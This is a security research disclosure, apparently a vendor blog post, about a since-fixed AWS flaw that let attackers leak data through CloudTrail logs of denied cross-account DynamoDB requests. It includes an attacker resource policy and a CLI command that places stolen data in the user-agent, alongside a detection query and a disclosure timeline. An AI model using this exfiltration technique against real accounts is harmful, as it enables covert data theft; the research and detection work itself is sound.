Breaching the Data Perimeter: CloudTrail as a mechanism for Data Exfiltration

We can now share a - now fixed - AWS vulnerability that would have enabled potentially undetectable data exfiltration from even the most locked down of AWS accounts by leveraging the audit trail itself to stealthily leak data.

As part of my previous research, I was investigating the interaction between CloudTrail and VPC Endpoint policies. What I wasn’t in the position to discuss in my original post, is that I found a significant difference in behavior between S3 and other AWS services.

This difference could have been exploited by an attacker post-compromise to exfiltrate data at scale from an otherwise highly-restricted environment (using all the data perimeter controls AWS offers) with minimal permissions - potentially in a way that is undetectable for the victim. AWS have since fixed this.

Setting the stage

Techniques available for data exfiltration from a compromised AWS environment will vary a lot depending on the nature of the security controls in place. In the simplest case, an attacker could use compromised credentials to read data (stored in S3, say) directly from the AWS APIs over the internet.

Other avenues could include exfiltrating directly to the internet from within the VPC, if necessary via DNS. AWS of course gives us tools to prevent this (DNS Firewall, Network Firewall, etc). Egress filtering becomes more challenging when it comes to AWS services: we can’t outright block access to them at the network level if our own workloads require access to them. If we permit access to S3 from our VPC though, we need to be concerned about an attacker bringing in their own credentials to write data to their own S3 bucket. Here AWS provides VPC Endpoints. These offer us:

• a private route to an AWS service within the VPC
• the ability to apply a VPC Endpoint Policy to any requests made from the VPC through this route

The VPC Endpoint policy is crucial in that it allows us (the VPC owner) to restrict access to the resources offered by the underlying AWS service - i.e. only those S3 buckets we own or trust.

Collectively these controls (alongside others) enable AWS customers to establish a Data Perimeter to “ensure that only your trusted identities are accessing trusted resources from expected networks”.

Let’s start then from the assumption that we’re using all the measures available to us - is it still possible to exfiltrate data?

S3 VPC endpoint policies apply to CloudTrail too

The S3 documentation states that when a VPC endpoint policy denies a request, CloudTrail logs will not deliver logs for the request to either the requester or the resource owner:

This makes sense, because if you consider the security objectives which VPC endpoint policies support, they are:

• only trusted identities are allowed from my network
• only trusted resources can be accessed from my network

‍

If VPC endpoint denials were logged to CloudTrail, then - although these objectives would be achieved when it comes to S3 - what about CloudTrail itself? An untrusted identity could not access their own bucket from the network, but they could exfiltrate data by including it in requests that would be logged in CloudTrail. For instance, the userAgent field can be set by the caller and each CloudTrail event can contain up to 1 KB of data in this field. In a sense, the attacker’s CloudTrail is itself an untrusted resource that should be protected by the data perimeter.

It’s clear then that - when correctly configured - S3 VPC Endpoints do not allow an attacker to exfiltrate data from a VPC via CloudTrail. Note that the same applies to S3 access logs - I’d recommend Costas Kourmpoglou’s article where he explores access logs and other techniques for data exfiltration.

What about other services?

I started testing other services and quite quickly discovered services for which the behavior differed quite significantly from S3. What I found in the services that I tested was that CloudTrail logs would be delivered after a VPC Endpoint denial in certain circumstances:

That is, if the principal making the request belonged to the same account as the owner of the VPC - i.e. it’s a “trusted” identity - then a VPC endpoint policy denial would be delivered to CloudTrail. This actually made the research I originally set out to do quite a lot more challenging, but it was certainly noteworthy.

It’s interesting that the identity is not “trusted” in the sense that its requests are permitted by the VPC Endpoint policy - by definition they are denied - instead it seems that this account-matching behavior is static or “hardcoded”.

What’s the big deal?

So a principal belonging to the same account as the VPC-owner could potentially smuggle data out into the principal’s CloudTrail logs via the user agent. However, permission to read events back out of this Trail is likely to be fairly restricted, and it’s reasonable to assume the CloudTrail destination’s bucket is within the organization’s data perimeter. Effectively this means that retrieving any data written to the bucket is likely to be a significant additional hurdle for an attacker, that would reduce the effectiveness of this technique.

That is, except for one key factor that I observed while testing: the denied request appeared in all relevant Trails, not just that associated with the Principal. In the circumstances I tested, it appears that a cross-account request which is denied by the VPC Endpoint Policy could appear in the resource owner’s Trail too! An attacker can receive these events by using the target’s credentials to make (denied!) requests to a resource they have created themselves in their own account. This significantly increases the applicability of the technique.

For instance, here’s an example of what’s present in the principal’s (target’s) Trail:

And here’s the corresponding event in the resource’s (attacker’s) Trail:

Step-by-step Example

In the concrete example I found, let’s suppose an attacker has compromised a VPC, and gained access to data they wish to exfiltrate. If:

• there is a VPC Endpoint for DynamoDB, and
• the attacker has compromised any credentials for the VPC owner’s account

then the attacker can exfiltrate data. To do so, they can:

• create a DynamoDB Table in attacker’s account (111111111111) they control
• use a resource policy to grant access to this table to the target’s account (222222222222):

{
   "Effect":"Allow",
   "Principal":{
      "AWS":"arn:aws:iam::222222222222:root"
   },
   "Action":"dynamodb:*",
   "Resource":"arn:aws:dynamodb:us-east-1:111111111111:table/attacker-table"
}

• within the target account, use the compromised credentials to make a series of cross-account requests to the DynamoDB table, containing data to be exfiltrated in the user-agent

export AWS_EXECUTION_ENV=’1DATA_TO_EXFILTRATE’
aws dynamodb describe-table --table-name 'arn:aws:dynamodb:us-east-1:111111111111:table/attacker-table'

• the request will be denied, but still included within the attacker’s CloudTrail logs

The request does not need to be permitted by either:

• the target’s VPC Endpoint Policy
• the target’s SCP
• the target’s identity policy

As each request could contain up to 1Kb of data and a high volume of requests is possible, this would be a practical method of data exfiltration.

How could I catch this?

AWS have changed the behavior so this is no longer possible. It might be possible to find historical indications of this technique being used by querying your own CloudTrail logs. The idea is to look for events which indicate:

• they have been delivered to multiple accounts’ Trails
• the request was denied due to the VPC Endpoint policy

Here’s a sample query:

select *
from "cloudtrail"
where sharedEventId is not null
      and errorMessage like '%VPC endpoint%';

However, that assumes that the error message is explicit that the VPC endpoint denied the requests (not all services will report this). Additionally, if you do not have Data Events for DynamoDB globally enabled in CloudTrail, but the attacker does, then they may have received the event without your Trail having any visibility of it!

Disclosure

The principal / VPC account matching distinction for non-S3 endpoint-denied CloudTrail delivery was reported to AWS security as an aspect of another finding associated with my previous research.

• 4 June - Finding(s) reported to AWS security
• 12 June - AWS indicated changes were underway
• 10 September - AWS released updates that means CloudTrail does not deliver events to the resource owner or API caller when the API action is denied by the VPC endpoint policy.

AWS Statement

AWS shared with us this statement for publication:

On September, 10, 2024, AWS released updates that changes CloudTrail’s logging behavior for Virtual Private Cloud (VPC) endpoint policy "access denied" events. With this change, CloudTrail does not deliver events to the resource owner or the API caller when the API action is denied by the VPC endpoint policy. No customer action is required.

AWS CloudTrail has also released a preview of AWS CloudTrail network activity for VPC endpoints for select AWS services, which include Amazon EC2, AWS Key Management Service (AWS KMS), AWS Secrets Manager, and AWS CloudTrail. VPC endpoint owners can use this feature to view all API activity that is traversing through your VPCE, including the ones that are denied access by VPC endpoint policy.

We appreciate Tracebit for reporting this issue and collaborating with AWS.

What about services other than DynamoDB?

I believe this was more widely applicable than DynamoDB - in fact I think S3 was to some extent the exception - but here I only discuss the services which I can demonstrate with historical logs indicating the fact. Other services would have - at the very least - required cross-account request support.

It’s worth noting that cross-account support was only announced for DynamoDB on 20 March 2024.

What’s next?

One observation is that - except for the cross-account aspect - the previous behavior was very handy for monitoring and debugging VPC Endpoint policy denials. It would make sense to me that making CloudTrail delivery contingent on the principal matching the VPC owner was an intentional design decision.

AWS have recently announced AWS CloudTrail network activity for VPC endpoints. For select services, this means you - as the VPC owner - can monitor CloudTrail denials for your VPC endpoints, without the associated risks of events appearing in other Trails.

Closing Thoughts

We founded Tracebit on the firm belief that organizations need to proactively ‘assume breach’ and take steps accordingly to expect the unexpected from both a defensive and detective perspective.

This particular issue in AWS clearly illustrates why this is so important. In this case, even an environment using all the controls available on the customer’s side of the shared responsibility model could have been vulnerable to undetectable data exfiltration.

Naturally we’re biased - but in this case, cloud canaries in such an account could have produced highly actionable alerts, enabling a fast and focused response to an intrusion that would have otherwise not been possible to detect.

FAQ

Would there still need to be compromise of the environment for this attack to take place?
That’s correct - this technique describes a way to stealthily exfiltrate data avoiding detection, it assumes that a principal has been compromised.

Why would this be totally undetected?
If the attacker used “data events” and the target’s CloudTrail was not configured to log data events for DynamoDB (say, due to the cost of doing so), then the events may only be delivered to the attacker’s Trail.

‍